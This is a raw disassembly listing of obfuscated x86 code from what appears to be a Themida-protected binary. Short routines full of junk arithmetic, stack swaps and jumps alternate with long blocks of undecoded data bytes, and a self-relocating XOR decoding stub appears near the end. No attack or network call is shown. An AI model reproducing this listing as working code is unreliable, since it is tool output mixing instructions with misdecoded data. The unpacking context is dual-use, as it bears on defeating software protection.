		dd 374A797Eh, 4D15C281h, 0C14A0B8Bh, 0F28102EAh, 5C163C1Dh
		dd 815AD101h, 783748E1h, 0C1D1F72Ah, 0E98107E9h, 8C519A56h
		dd 4859C821h, 80CCC205h, 0F96EE94Fh, 0C581FFFFh, 7D652822h
		dd 3078CD81h, 0C5811127h, 1E9A6253h, 0FF7946E9h, 0E78957FFh
		dd 4C781h, 0EF830000h, 78B9E902h, 4C01FFFFh, 44810424h
		dd 10E90424h, 0C8B7405h, 4C48124h, 0E9000000h, 0FFFF4979h
		dd 2781CF81h, 0E7C13EF0h, 6EFC108h, 5DA1EF81h, 0F7812017h
		dd 0E3D4620Fh, 9CE9F801h, 5AFFFFEDh, 9AE9C330h,	81FFFFFCh
		dd 4C4h, 59CA8900h, 0FF4944E9h,	493FE9FFh, 0CB81FFFFh
		dd 64816C48h, 8703EBC1h, 0D38742D3h, 0FFA557E9h, 4875FFFh
		dd 0E394E924h, 1EE9FFFFh, 0BEFFFF49h, 8121C09h,	814ED6F7h
		dd 8563CF6h, 3BC68116h,	891E1A4Ah, 0CFE95EF5h
		db 5Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E863:				; CODE XREF: Themida_:0054DF31j
		sub	edx, ecx
		pop	ecx
		jmp	loc_548F4F
; ---------------------------------------------------------------------------


loc_54E86B:				; CODE XREF: Themida_:0054D35Dj
		pop	edi
		sub	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_54C7C4
; ---------------------------------------------------------------------------


loc_54E87C:				; CODE XREF: Themida_:005493E7j
		push	esi
		mov	esi, esp
		push	edi
		mov	edi, 32E60B54h
		shl	edi, 4
		sub	edi, 2E60B53Ch
		add	esi, 713E5F9Eh
		add	esi, edi
		sub	esi, 713E5F9Eh
		mov	edi, [esp]
		jmp	loc_54F48F
; ---------------------------------------------------------------------------
		dd 0E924248Bh, 0FFFFB672h, 9D1C77FFh, 4185866h,	0AAE99C24h
		dd 1FFFF48h, 0E8C15FF8h, 0D9B95102h, 0C1084B19h, 0BA5204E1h
		dd 1747CF6h, 0FFFE9DE9h, 10EF81FFh, 682C137Bh, 2F5Fh, 0B9240C89h
		dd 6C1F0915h, 86E9h, 58C12900h,	8359C801h, 0E95002E8h
		dd 8BCh, 0E95AD729h, 0FFFFFA1Eh
; ---------------------------------------------------------------------------


loc_54E904:				; CODE XREF: Themida_:00549A33j
		and	ecx, edx
		pop	edx
		shr	ecx, 7
		push	ebx
		push	esi
		jmp	loc_549441
; ---------------------------------------------------------------------------


loc_54E911:				; CODE XREF: Themida_:00547568j
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, esp
		push	edx
		mov	edx, 4
		jmp	loc_543C31
; ---------------------------------------------------------------------------
aA8ase		db '8',0
aY		db 'Y',0
		dw 68C3h
		dd 1359h, 0B6241489h, 0C0DEF6B2h, 0E6C006EEh, 5A23E908h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E94A:				; CODE XREF: Themida_:0054705Aj
		push	5DE915E0h
		mov	ebp, [esp]
		jmp	loc_54329A
; ---------------------------------------------------------------------------
		db 5Bh
		dd 8904EC83h, 0B9512404h, 182A4038h, 2A403AB8h,	59C83118h
		dd 0A2E9C601h, 49FFFF91h, 0A90E981h, 0E181164Ch, 2F5D1F9Ch
		dd 600FE981h, 0CF31072Bh, 0E9FB8959h, 0FFFFB66Fh
; ---------------------------------------------------------------------------


loc_54E990:				; CODE XREF: Themida_:0054B975j
		mov	[edx], al
		pop	edx
		pop	ebx
		pop	eax
		pop	ebx
		jmp	loc_543165
; ---------------------------------------------------------------------------
		db 0B6h
		dd 0D4F6809Dh, 0FF6661E9h, 0F48859FFh, 0EA7BE95Ah, 5066FFFFh
		dd 47AFE99Ch, 0EF81FFFFh, 4, 8B243C87h,	34892424h, 79F06824h
		dd 25E95B53h, 81FFFFB6h, 1C233EC2h, 5AD38910h, 0FFD142E9h
		dd 0E28952FFh, 0FF9976E9h, 0A42DADFFh, 83070B15h, 0B7E904ECh
		dd 80FFFF81h, 0ED807CF5h, 8BEA306Ah, 0C481240Ch, 4, 34FFD030h
		dd 9117E924h, 0EC81FFFFh, 4, 0E9240489h, 0FFFF9C1Ch
; ---------------------------------------------------------------------------


loc_54EA1C:				; CODE XREF: Themida_:00547665j
		pop	ebx
		mov	bl, cl
		pop	ecx
		jmp	loc_54969E
; ---------------------------------------------------------------------------
		db 66h,	85h, 0C8h
		dd 95D0E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54EA2E:				; CODE XREF: Themida_:0054A320j
		mov	[esp], ebp
		jmp	loc_544EFC
; ---------------------------------------------------------------------------
		dw 0E3C1h
		dd 0BF575505h, 3F0A2462h, 0E494E94Fh, 8166FFFFh, 8B02246Ch
		dd 4C016641h, 81660224h, 8B022444h, 0C8B6641h, 0E7895724h
		dd 4C781h, 0C7810000h, 2, 5C243C87h, 0FFFDACE9h, 48F58FFh
		dd 0C895C24h, 0D9BD5524h, 554A4E2Ah, 3D242C81h,	59407933h
		dd 0FFFB3BE9h, 46CFE9FFh, 31ADFFFFh, 0C20DE9D8h, 0CF29FFFFh
		dd 24048B59h, 4C481h, 0F8290000h, 5D8295Fh, 3230313Dh
		dd 4EC8353h, 68242C89h,	436059F9h, 5D2434FFh, 4C481h, 0EDC10000h
		dd 0FA3CE902h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54EAD2:				; CODE XREF: Themida_:0054CFCBj
		xchg	esi, ebp
		xor	ebp, 7C926D7h
		xor	ebp, 0C2FD8F2Ch
		add	edi, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	eax
		mov	eax, 4
		jmp	loc_544DC7
; ---------------------------------------------------------------------------
		dw 0E95Eh
		dd 0FFFF6985h, 4F96C781h, 0E781421Eh, 290F3241h, 4EC81h
		dd 14890000h, 7F1CBA24h, 0D7291748h, 0F5C4E95Ah, 0ED80FFFFh
		dd 0CBE580D4h, 55D2E950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54EB2A:				; CODE XREF: Themida_:005434A1j
		mov	[esp], ecx
		mov	ecx, 7A747339h
		jmp	loc_54B018
; ---------------------------------------------------------------------------
		db 66h
		dd 6824148Bh, 1173h, 68243489h,	24B0h, 81242489h, 42404h
		dd 34FF0000h, 0C4815E24h, 4, 0FFCBE4E9h, 32BF57FFh, 8153CC22h
		dd 0DB0B50C5h, 81FD0138h, 0DB0B50EDh, 36685F38h, 89000025h
		dd 92BA2414h, 93A0351h,	24148BD5h, 4D04C483h, 0E2CEC581h
		dd 45E93FB6h
		db 6Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54EB97:				; CODE XREF: Themida_:005448C0j
		push	ecx
		push	eax
		mov	eax, 4
		mov	ecx, eax
		pop	eax
		add	eax, ecx
		jmp	loc_54B7A6
; ---------------------------------------------------------------------------
		dd 8704E983h, 91E9240Ch, 1FFFFF7h, 240C8BC8h, 0FF490AE9h
		dd 24048BFFh, 0FF7FD2E9h, 88DA88FFh, 24148BD0h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_54528E
; ---------------------------------------------------------------------------
		db 87h,	34h, 24h
		dd 0FFF917E9h, 4C281FFh, 81000000h, 4C2h, 24148700h, 2DC3805Ch
		dd 0EB80C300h, 0E9B5512Dh, 20E9EB28h, 0BDFFFF98h, 4, 4246C01h
		dd 243C8B5Dh, 4C481h, 9AE90000h
		db 64h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54EC1F:				; CODE XREF: Themida_:00543B88j
		push	dword ptr [esp]
		pop	edx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		xor	bl, al
		push	edx
		push	ebx
		mov	bh, al
		mov	dh, bh
		pop	ebx
		push	ebx
		jmp	loc_5431F0
; ---------------------------------------------------------------------------
		dw 0A68h
		dd 0FF000000h, 81592434h, 4ECh,	0F1C3E900h, 34FFFFFFh
		dd 2434FF24h, 0E2895258h, 0FFE819E9h, 0C18159FFh, 44D00D33h
		dd 0FF7C33E9h, 0EBBA52FFh, 4A2DA434h, 0FFFD52E9h, 0C68158FFh
		dd 4, 2474FF56h, 48F5E04h, 4015C24h, 52E99C24h,	45FFFF84h
		dd 0F908F581h, 0EA01913Dh, 0EFC2815Dh, 2D5A2BDEh, 71A217A6h
		dd 0FFB97EE9h, 61E958FFh, 1FFFFE9h, 242C8BEBh, 4EC8351h
		dd 0E9242489h, 0FFFF64D5h
; ---------------------------------------------------------------------------


loc_54ECC8:				; CODE XREF: Themida_:00543989j
		mov	edx, 6C445044h
		shl	edx, 8
		shl	edx, 7
		jmp	loc_5492F1
; ---------------------------------------------------------------------------
		dd 15EF501h, 148B5DEEh,	0E0895024h, 405h, 40500h, 4870000h
		dd 34875C24h, 24248B24h, 9C240408h, 0FF4464E9h,	0E9D301FFh
		dd 0FFFFC35Eh, 836A30BEh, 1BF6812Fh, 8168A76Eh,	8D6868CEh
		dd 54CE8125h, 814AC51Ah, 0ED7E7BEEh, 8B27E96Fh,	9668FFFFh
		dd 0E9000016h, 0FFFF975Ah, 2434875Ch, 0FF9B80E9h, 0B85057FFh
		dd 3590716h, 0FFC63CE9h, 4B12B8FFh, 86E9A47Eh, 0B0FFFF62h
		dd 66C328C2h, 9DE95A58h, 81FFFFBCh, 4C2h, 4C28100h, 0E9000000h
		dd 0FFFFE408h, 56F7C581h, 0C5291E95h, 56F7ED81h, 9581E95h
		dd 34FF1C6Fh, 242C8B24h, 0FFD178E9h, 0E9D028FFh, 0FFFF7799h
		dd 0E924148Bh, 0FFFFC9F0h, 24048F59h, 0C87D1F7h, 6BE95924h
		db 0B3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54EDAB:				; CODE XREF: Themida_:00547935j
		add	esi, 4DF2A04Ch
		jmp	loc_5435B3
; ---------------------------------------------------------------------------
		dw 0C889h
		dd 0DD0F759h, 0B263FBCh, 0FF4DFDE9h, 0A36859FFh, 8900002Ah
		dd 0E6892434h, 4BF57h, 7EE90000h, 0BAFFFFA1h, 6BD2990h
		dd 35E6E281h, 8CE930A3h, 87FFFFE8h, 815B240Ch, 2803BDEBh
		dd 8BDD29D8h, 0C481241Ch, 4, 0E9h, 242C8700h, 0E924248Bh
		dd 0FFFF9B82h, 0C1815954h, 4, 560968h, 57CAE900h, 0C183FFFFh
		dd 74FF5104h, 8F590424h, 248B2404h, 4894E924h, 3489FFFFh
		dd 4BE24h, 74010000h, 348B0424h, 4C48324h, 0FFBF14E9h
		dd 240489FFh, 0FF560CE9h, 835B66FFh, 0C8904ECh,	0E6B6E924h
		dd 159FFFFh, 4812404h, 0B7162724h, 2404813Ah, 4E470B50h
		dd 0FFE157E9h, 4C181FFh, 0E9000000h, 0FFFFA225h
; ---------------------------------------------------------------------------


loc_54EE84:				; CODE XREF: Themida_:00543327j
		pop	esp
		jmp	loc_54D1C1
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 2434FF24h, 458E9h, 4EC8100h,	0E9000000h, 0FFFF6DE0h
; ---------------------------------------------------------------------------


loc_54EEA0:				; CODE XREF: Themida_:0054B627j
		xor	edi, 0FF7E76FDh
		and	eax, edi
		mov	edi, [esp]
		add	esp, 4
		shr	eax, 10h
		xor	eax, ecx
		push	5701h
		mov	[esp], edx
		push	esp
		pop	edx
		push	esi
		mov	esi, 3448069Bh
		inc	esi
		xor	esi, 34480698h
		add	edx, esi
		pop	esi
		jmp	loc_546EA3
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 65F8E924h, 0E95AFFFFh, 0FFFFF0E8h, 4748C381h, 0EB81348Bh
		dd 3DBC2A1Fh, 78F38143h, 522DCE19h, 7DBE5653h, 3131793Ah
		dd 0E9042474h, 0FFFFB942h, 769EC781h, 0EFC17126h, 0E1C78104h
		dd 1F70BBBh, 0C335FF9h,	240C3124h, 8B240C33h, 0F662424h
		dd 5166C8AFh, 4233E99Ch, 0EF88FFFFh, 1C8BF888h,	4C48324h
		dd 0C2885259h, 0FF5AD188h, 2FE92434h, 5CFFFF45h, 5485EE81h
		dd 6BE932CCh, 33FFFFEEh, 248B2434h, 9AA4E924h, 0D821FFFFh
		dd 7037E95Bh, 0BB6FFFFh, 0F6AEF680h, 0C2EE80DEh, 0E94DE680h
		dd 0FFFFB109h
; ---------------------------------------------------------------------------


loc_54EF7C:				; CODE XREF: Themida_:0054B740j
		sub	ebp, 4BD95652h
		xor	ebp, 154028D1h
		sub	ebp, 0CCF49A98h
		xor	eax, ebp
		pop	ebp
		sub	edx, 57596420h
		sub	edx, eax
		jmp	loc_549A26
; ---------------------------------------------------------------------------
		dw 0C581h
		dd 4, 0FF9943E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54EFA9:				; CODE XREF: Themida_:005486D3j
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		push	7517h
		mov	[esp], ebp
		mov	ebp, 22CC6A57h
		add	ebp, 1
		sub	ebp, 0FFFFFFFFh
		neg	ebp
		dec	ebp
		sub	ebp, 0DD3375A6h
		and	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		push	ebx
		mov	ebx, 5B4D7A33h
		push	eax
		mov	eax, 78114CF3h
		xor	ebx, eax
		pop	eax
		jmp	loc_5434DC
; ---------------------------------------------------------------------------
		dw 0BBh
		dd 8153EF43h, 0C349A3E3h, 0FEDEE979h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F006:				; CODE XREF: Themida_:0054427Aj
		mov	[esp], eax
		jmp	loc_543EC2
; ---------------------------------------------------------------------------


loc_54F00E:				; CODE XREF: Themida_:005440ABj
		xchg	edi, [esp]
		pop	esp


loc_54F012:				; CODE XREF: Themida_:loc_54DDB0j
					; Themida_:0054DF87j
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_5448BE
; ---------------------------------------------------------------------------
		dd 505EF101h, 4B8h, 58C10100h, 5C240C87h, 50525356h, 5124148Bh
		dd 0C1815954h, 4, 0E904C183h, 0FFFFEADBh
; ---------------------------------------------------------------------------


loc_54F048:				; CODE XREF: Themida_:0054BBC4j
		mov	edi, esp
		push	ebp
		push	ecx
		mov	ecx, 3E56C18h
		mov	ebp, ecx
		pop	ecx
		inc	ebp
		sub	ebp, 0C0203770h
		neg	ebp
		jmp	loc_54CFC3
; ---------------------------------------------------------------------------


loc_54F062:				; CODE XREF: Themida_:00544855j
		add	esp, 4
		jmp	loc_54A13B
; ---------------------------------------------------------------------------


loc_54F06A:				; CODE XREF: Themida_:0054AE92j
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_54380A
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 241C8900h, 0EEE9E389h,	87FFFF50h, 895C240Ch, 0CFE92414h
		dd 89FFFFADh, 52512404h, 660BCF68h, 0EAC15A33h,	0E9D2F707h
		dd 0FFFFF3D9h
; ---------------------------------------------------------------------------


loc_54F0A4:				; CODE XREF: Themida_:00547DA1j
		push	ebp
		jmp	loc_54F408
; ---------------------------------------------------------------------------


loc_54F0AA:				; CODE XREF: Themida_:00547015j
		push	ebx
		push	dword ptr [esp+4]
		jmp	loc_549F83
; ---------------------------------------------------------------------------
		dd 4C481h, 0BF570000h, 35CC5E47h, 7BFBC381h, 42E96EB3h
		dd 29FFFF6Dh, 71E95BD8h, 80FFFF99h, 0F030A0F6h,	5A2434FFh
		dd 3004C483h, 0C0B60FC3h, 0FFFA4EE9h, 7DB252FFh, 71E9EAD0h
		dd 64FFFFC7h, 2B60F66h,	0FD12E951h, 0C87FFFFh, 4875C24h
		dd 24248B24h, 0BE9F9F7h, 5EFFFF4Eh, 0FF861AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54F115:				; CODE XREF: Themida_:00547F53j
		push	308Bh
		mov	[esp], ebp
		push	esi
		push	34B925F0h
		push	dword ptr [esp]
		jmp	loc_5431C5
; ---------------------------------------------------------------------------
		db 83h
		dd 0F4E902C4h, 81FFFFC3h, 4C4h,	0AAB45000h, 80FFC480h
		dd 0E12071F4h, 3E1C058h, 308EF180h, 240C8BC8h, 4C481h
		dd 52660000h, 0D3E95350h, 53FFFF8Eh, 0FFC776E9h, 0C6C581FFh
		dd 89F92851h, 0EC815DE8h, 4, 0FF87CDE9h, 0C8B66FFh, 5CFB6824h
		dd 2C890000h, 68E58924h, 73D8h,	0E9241C89h, 0FFFFFADDh
		dd 40558h, 89500000h, 405E0h, 42D0000h,	0E9000000h, 0FFFFC36Fh
		dd 1686653h, 0E95B6635h, 0FFFFD762h, 42474FFh, 5558E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F1C2:				; CODE XREF: Themida_:00545D2Fj
		add	esi, 4
		jmp	loc_54CC58
; ---------------------------------------------------------------------------
		dw 0C3FEh
		dd 80D4F380h, 5FE9D6C3h, 89FFFFF3h, 0FCB5240Ch,	86E95366h
		dd 81FFFFE6h, 0A4440DF3h, 5BDF013Ch, 5024348Bh,	405E089h
		dd 83000000h, 43304C0h,	24043124h, 0FFED5FE9h, 2434FFFFh
		dd 4C4815Fh, 0E9000000h, 0FFFFF427h, 0E9243489h, 0FFFFD686h
		dd 555EF589h, 0E92414F7h, 0FFFFA7F2h, 6CC4E955h, 0E951FFFFh
		dd 0FFFF53F9h
; ---------------------------------------------------------------------------


loc_54F234:				; CODE XREF: Themida_:00546B92j
		mov	eax, 1BCC1E7Dh
		dec	eax
		push	eax
		xor	[esp], ebx
		jmp	loc_547D56
; ---------------------------------------------------------------------------
		db 66h
		dd 5724048Bh, 0C7815F54h, 4, 4BE56h, 0EF810000h, 70E67CCAh
		dd 0BB53F729h, 3083798Dh, 1B0BE381h, 0F3814E44h, 4C4221CEh
		dd 4FF1E94Bh, 0BF57FFFFh, 30D2395Ah, 16CF814Fh,	815D657Dh
		dd 243818E7h, 0DDBA5207h, 31CA691Dh, 0F8315AD7h, 0FFC7A4E9h
		dd 36EB81FFh, 9ABCF74h,	0EAC15BDAh, 0B1CA8105h,	8140116Ch
		dd 7ED0F2F2h, 5AD02930h, 8BE9C801h, 1FFFF99h, 0C78358C7h
		dd 243C3302h, 33243C31h, 0E95C243Ch, 0FFFFC5F6h, 794868h
		dd 66CFE900h, 0E981FFFFh, 6D485418h, 0FFC8215Dh, 56592434h
		dd 0FF8798E9h, 2434FFFFh, 0FF543BE9h, 7E9C1FFh,	0E908E1C1h
		dd 0FFFFB2CAh, 0E9E18951h, 0FFFFFB71h, 4EC81h, 4890000h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_546472
; ---------------------------------------------------------------------------
		db 81h,	0EAh, 0Ah
		dd 981826Dh, 5A7DE9D7h,	5E59FFFFh, 203FA01h, 0E389535Ah
		dd 29F068h, 240C8900h, 6B4AE2B9h, 0E1C1494Bh, 0F7E9D102h
		dd 39F181D1h, 1E9296Ah,	59E959CBh
		db 8Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F363:				; CODE XREF: Themida_:00548EB6j
		push	eax
		mov	eax, 4D543D62h
		add	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		xor	ecx, 5053F97h
		not	ecx
		xor	ecx, 6960B9E5h
		and	eax, ecx
		pop	ecx
		or	eax, eax
		jmp	loc_54E3D3
; ---------------------------------------------------------------------------
		dd 4BFh, 246C8100h, 0E598C04h, 43CEE90Bh, 1489FFFFh, 0F81FE924h
		dd 1489FFFFh, 9D15E924h, 0C181FFFFh, 53F9026Eh,	80E9E929h
		dd 81FFFF7Fh, 0CFCDC1F2h, 72C681A1h, 0E974B856h, 0FFFF8062h
		dd 4BF57h, 0F9010000h, 74FF515Fh, 8F590424h, 505C2404h
		dd 406C5A68h, 24048B62h, 2904C483h, 8B042444h, 0C4832404h
		dd 242C8104h, 352D6439h, 50242C81h, 0E94E470Bh,	0FFFFB466h
; ---------------------------------------------------------------------------


loc_54F408:				; CODE XREF: Themida_:0054F0A5j
		mov	ebp, 5D615E86h
		add	ebp, 5A8FF5Eh
		jmp	loc_54C390
; ---------------------------------------------------------------------------
		dd 4C481h, 0EC830000h, 241C8904h, 54732CBBh, 0D86DE970h
		dd 34FFFFFFh, 35E95E24h
		db 8Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F437:				; CODE XREF: Themida_:005431EBj
		mov	[esp], eax
		mov	eax, 4
		add	edi, 5BCA00CBh
		add	edi, eax
		jmp	loc_548BD3
; ---------------------------------------------------------------------------


loc_54F44C:				; CODE XREF: Themida_:00548831j
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, 490C786Ah
		push	ebx
		mov	ebx, 26381147h
		or	edx, ebx
		pop	ebx
		not	edx
		and	edx, 6FEB52C6h
		jmp	loc_5499EB
; ---------------------------------------------------------------------------


loc_54F473:				; CODE XREF: Themida_:0054DC46j
		xor	ecx, 4A0E40DBh
		push	edi
		mov	edi, 0FDB9D16h
		add	ecx, edi
		pop	edi
		sub	edi, 27CC5B0Fh
		add	edi, ecx
		jmp	loc_548E84
; ---------------------------------------------------------------------------


loc_54F48F:				; CODE XREF: Themida_:0054E89Fj
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_548753
; ---------------------------------------------------------------------------


loc_54F4BA:				; CODE XREF: Themida_:00549011j
		sub	esp, 4
		jmp	loc_54B85C
; ---------------------------------------------------------------------------
		db 88h,	0FEh, 0E9h
		dd 0FFFF9F20h, 0E959CA31h, 0FFFFDBE4h, 81240C8Bh, 4C4h
		dd 865AE900h, 0B968FFFFh, 89000009h, 74E9243Ch,	7EFFFF90h
		dd 0DD0053D6h, 0A5009F69h, 0FA4CB3h, 0CE000000h, 0E152362h
		dd 4005A13h, 37FFE03h, 2000002h, 2 dup(1000000h), 0A5000000h
		dd 0FA4CB3h, 4 dup(0)
		dd 5C000000h, 75005574h, 72005518h, 87005527h, 0AD0055A2h
		dd 6F00552Ah, 82005502h, 1B00554Ah, 600563Ah, 0AC005574h
		dd 4005577h, 11005648h,	5400557Dh, 93005612h, 880055F8h
		dd 0B50055EAh, 1C0055CCh, 90055D7h, 0CE0055EBh,	4F0055B9h
		dd 1F00564Bh, 22005564h, 0A005514h, 0A6005645h,	6600553Ah
		dd 590055A6h, 6F005590h, 4A005608h, 5F005644h, 440055CCh
		dd 0F5005641h, 74005646h, 7B00561Fh, 0AA0055BBh, 9B005507h
		dd 8F005590h, 6F005555h, 8E005567h, 0D8005542h,	0A0005604h
		dd 9F00556Eh, 0C2005535h, 900054FDh, 9500552Fh,	4D005633h
		dd 0F1005634h, 600556Bh, 6D00556Fh, 0E2005591h,	84005643h
		dd 0F00556Eh, 0C800550Fh, 0E4005625h, 5A00552Eh, 5A00561Eh
		dd 8400557Dh, 0FD0055E3h, 24005601h, 0DD00553Ah, 2F005559h
		dd 0F00055B5h, 0CD00552Ah, 0A4005551h, 0C00055BBh, 0C20055CEh
		dd 0EF0055C4h, 9C005541h, 4200561Fh, 0B4005540h, 0CC005530h
		dd 55005502h, 1F005584h, 0CB005614h, 31005536h,	940055A6h
		dd 8E005503h, 3C005551h, 41005580h, 0E300562Ah,	0A60055E0h
		dd 40005586h, 220055EEh, 710054FCh, 0E60055D4h,	2800559Eh
		dd 0D1005621h, 28005629h, 0E400550Bh, 63005626h, 0BE00561Eh
		dd 80005646h, 5B005598h, 0DF005640h, 4700554Eh,	0A9005515h
		dd 1B0055D8h, 7E00555Eh, 7E005542h, 0F200559Ch,	890055B8h
		dd 6F00561Fh, 3600559Fh, 0AA005569h, 5300557Fh,	690055EEh
		dd 0AB005500h, 0F50055BCh, 2900558Bh, 2200562Ch, 0C8005573h
		dd 9E005513h, 7C005592h, 0AC005610h, 67005635h,	0E4005539h
		dd 7800563Fh, 2005571h,	0A300553Ah, 4B005604h, 0FC00563Ah
		dd 0C4005575h, 36005526h, 17005645h, 9A005580h,	41005598h
		dd 560055B4h, 88005557h, 0AA0055DFh, 3100559Ch,	550055E9h
		dd 3E005636h, 0C0005560h, 6C00561Bh, 16005641h,	7F0055E6h
		dd 6B0055DFh, 5C005580h, 7900562Eh, 600551Bh, 16005536h
		dd 5E00552Dh, 8500561Dh, 460055C9h, 0B100561Dh,	4E005518h
		dd 5900556Dh, 9C005536h, 6B005515h, 6B005647h, 0F50055E8h
		dd 0AA00550Ch, 100055E1h, 54005550h, 0C4005618h, 0E005641h
		dd 12005558h, 0F1005593h, 0EE0055A3h, 2B0055FAh, 0AA00557Ah
		dd 0CF00557Eh, 0EF00552Eh, 87005566h, 2D005621h, 0EC005579h
		dd 62005643h, 59005626h
		db 63h,	55h, 0
; ---------------------------------------------------------------------------


loc_54F7CF:				; CODE XREF: Themida_:005947B6j
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 6084432h
		mov	eax, edi
		add	edi, 608414Ah
		cmp	eax, [edi+2Ch]
		jnz	short loc_54F7ED
		jmp	short loc_54F800
; ---------------------------------------------------------------------------


loc_54F7ED:				; CODE XREF: Themida_:0054F7E9j
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_54F7FC
; ---------------------------------------------------------------------------


loc_54F7F7:				; CODE XREF: Themida_:0054F7FEj
		add	[edi+ecx*4+40h], eax
		dec	ecx


loc_54F7FC:				; CODE XREF: Themida_:0054F7F5j
		or	ecx, ecx
		jnz	short loc_54F7F7


loc_54F800:				; CODE XREF: Themida_:0054F7EBj
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1


loc_54F80D:				; CODE XREF: Themida_:0054F814j
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_54F80D


loc_54F816:				; CODE XREF: Themida_:00552D6Ej
					; Themida_:005546B0j ...
		lodsb
		xor	al, bl
		push	bx
		push	edx
		jmp	loc_55531F
; ---------------------------------------------------------------------------


loc_54F821:				; CODE XREF: Themida_:005579D5j
		push	dword ptr [esp+4]
		mov	edx, [esp]
		jmp	loc_564975
; ---------------------------------------------------------------------------
		db 4Dh,	0F7h, 0D5h
		dd 0A661E9h, 52BBA00h, 0C2812E29h, 2F7608DAh, 5F00EA81h
		dd 814213CEh, 31B321F2h, 5AD7293Ah, 0D2E9CF01h,	81000103h
		dd 4C2h, 1A50E900h, 0B5510001h,	14C2E966h, 0C870000h, 1255E924h
		dd 0E3C10001h, 0AEB4E907h, 4050000h, 52000000h,	4BAh, 5AD00100h
		dd 8B240487h, 0BA522424h, 551D0BFAh, 0C9F2814Ah, 0E9539428h
		dd 43B8h, 8904EC83h, 0E951241Ch, 2729h,	9BEA814Ah, 0E93ABC7Ch
		dd 0D0D3h
; ---------------------------------------------------------------------------


loc_54F8B8:				; CODE XREF: Themida_:00557B8Dj
		mov	esi, 2833275Eh
		and	esi, 37992BE5h
		not	esi
		not	esi
		xor	esi, 6E773660h
		add	esi, 162A27h
		jmp	loc_5569BA
; ---------------------------------------------------------------------------


loc_54F8D8:				; CODE XREF: Themida_:00562CAEj
		push	7D13h
		mov	[esp], eax
		mov	eax, 4
		add	esi, eax
		pop	eax
		xchg	esi, [esp]
		pop	esp
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		jmp	loc_55FF22
; ---------------------------------------------------------------------------


loc_54F8FD:				; CODE XREF: Themida_:00557C64j
		xor	dh, 46h
		sub	bl, dh
		pop	edx
		jmp	loc_55B3D7
; ---------------------------------------------------------------------------
		dd 30641205h, 0E9D0295Bh, 7640h, 2C2EA81h, 0DAF75CDEh
		dd 9CBFEA81h, 0D1317A07h, 5624148Bh, 0C681E689h, 4, 4C681h
		dd 34330000h, 24343124h, 5C243433h, 4244481h, 2D706EAh
		dd 4244C01h, 4246C81h, 2D706EAh, 0FEBCE959h, 0BF57FFFFh
		dd 6C4111D4h, 0E781D7F7h, 4B4F4516h, 74DBF781h,	0FA295995h
		dd 83243C8Bh, 99E904C4h, 87000031h, 895C2434h, 0E9522404h
		dd 380Eh, 242C8B5Fh, 4C481h, 5AE90000h,	0BA0000C1h, 1AE23A9Ah
		dd 118C4E9h, 59CD8900h,	81243C8Bh, 4C4h, 0BA525800h, 0CE079C5Ah
		dd 15AD501h, 242C8BEBh,	8904EC83h, 0E389241Ch, 1880E9h
		db 0
; ---------------------------------------------------------------------------


loc_54F9C9:				; CODE XREF: Themida_:00551EA1j
		sub	ebx, ebp
		pop	ebp
		push	ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_555C2D
; ---------------------------------------------------------------------------
		dw 0D5B9h
		dd 897F7264h, 240C8BC8h, 4C481h, 0C2290000h, 8124048Bh
		dd 4C4h, 97BD5500h, 8164621Ah, 7F4D2AEDh, 27CD816Bh, 45290347h
		dd 7CA7F581h, 0C5813110h, 0B4407BFCh, 0B482E9h,	0E9525B00h
		dd 13A05h
; ---------------------------------------------------------------------------


loc_54FA28:				; CODE XREF: Themida_:00550047j
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		push	44D906A6h
		pop	ebp
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 7256C24h
		or	ecx, 45F4622Fh
